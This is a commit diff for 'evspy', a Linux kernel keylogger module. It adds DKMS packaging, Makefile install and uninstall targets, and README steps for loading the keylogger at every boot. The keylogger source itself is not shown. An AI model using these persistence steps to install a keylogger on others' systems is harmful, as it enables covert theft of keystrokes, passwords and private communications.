aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Makefile14
-rw-r--r--README34
-rw-r--r--dkms.conf8
3 files changed, 40 insertions, 16 deletions
diff --git a/Makefile b/Makefile
index 573b77f..090ff83 100644
--- a/Makefile
+++ b/Makefile
@@ -6,3 +6,17 @@ all:
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
+
+install: uninstall dkms
+ mkdir -p /usr/src
+ rm -rf /usr/src/evspy-0.3
+ cp -R . /usr/src/evspy-0.3
+ dkms install evspy/0.3
+ modprobe evspy
+
+uninstall:
+ dkms --quiet remove evspy/0.3 --all || true
+ modinfo evspy > /dev/null 2>&1 && rmmod evspy || true
+ rm -rf /usr/src/evspy-0.3
+
+.PHONY: all clean dkms install uninstall
diff --git a/README b/README
index b5a58cf..6211448 100644
--- a/README
+++ b/README
@@ -7,34 +7,36 @@ Don't be evil.
** COMPILE **
- $ make
+ $ make
** LOAD **
- # insmod evspy.ko
+ # insmod evspy.ko
** UNLOAD **
- # rmmod evspy
+ # rmmod evspy
** IS IT ALREADY LOADED? **
- $ lsmod | grep evspy
+ $ modinfo evspy
** PERSISTENCE **
-If you want evspy to be loaded every time system boots, copy it into your
-kernel module dir:
- # cp evspy.ko /lib/modules/$(uname -r)/kernel/drivers/input/evspy.ko
+* With dkms:
+ # make [install, uninstall]
-and update module database:
- # depmod -a
+* Manually:
+ Copy it into your kernel module dir:
+ # cp evspy.ko /lib/modules/$(uname -r)/kernel/drivers/input/evspy.ko
-(In some distros it could also be necessary to add it to some rc/config file)
+ and update module database:
+ # depmod -a
+ (in some distros you could also need to add it to some rc/config file)
-Once it has been installed, you can load it when you want with
- # modprobe evspy
+ Once it has been installed, you can load it when you want with
+ # modprobe evspy
** OTHER **
@@ -43,10 +45,10 @@ A patch is supplied (evspy.patch) to be able to compile a kernel with evspy
included. If KERN is the directory where your kernel is located, just copy the
patch there (KERN/) and copy all the evspy files (*.c, *.h, maps, kmap) to
KERN/drivers/input/. Then, cd to KERN and apply the patch:
- $ patch -p1 < evspy.patch
+ $ patch -p1 < evspy.patch
Then you should be able to configure the kernel to include evspy just like
any other module:
- $ make menuconfig
- Device Drivers --> Input device support --> Event based keylogger
- $ ...
+ $ make menuconfig
+ Device Drivers --> Input device support --> Event based keylogger
+ $ ...
diff --git a/dkms.conf b/dkms.conf
new file mode 100644
index 0000000..f36a828
--- /dev/null
+++ b/dkms.conf
@@ -0,0 +1,8 @@
+PACKAGE_NAME="evspy"
+PACKAGE_VERSION=0.3
+CLEAN="make clean"
+MAKE[0]="make KVERSION=$kernelver"
+AUTOINSTALL=yes
+
+BUILT_MODULE_NAME[0]="evspy"
+DEST_MODULE_LOCATION[0]="/kernel/drivers/input"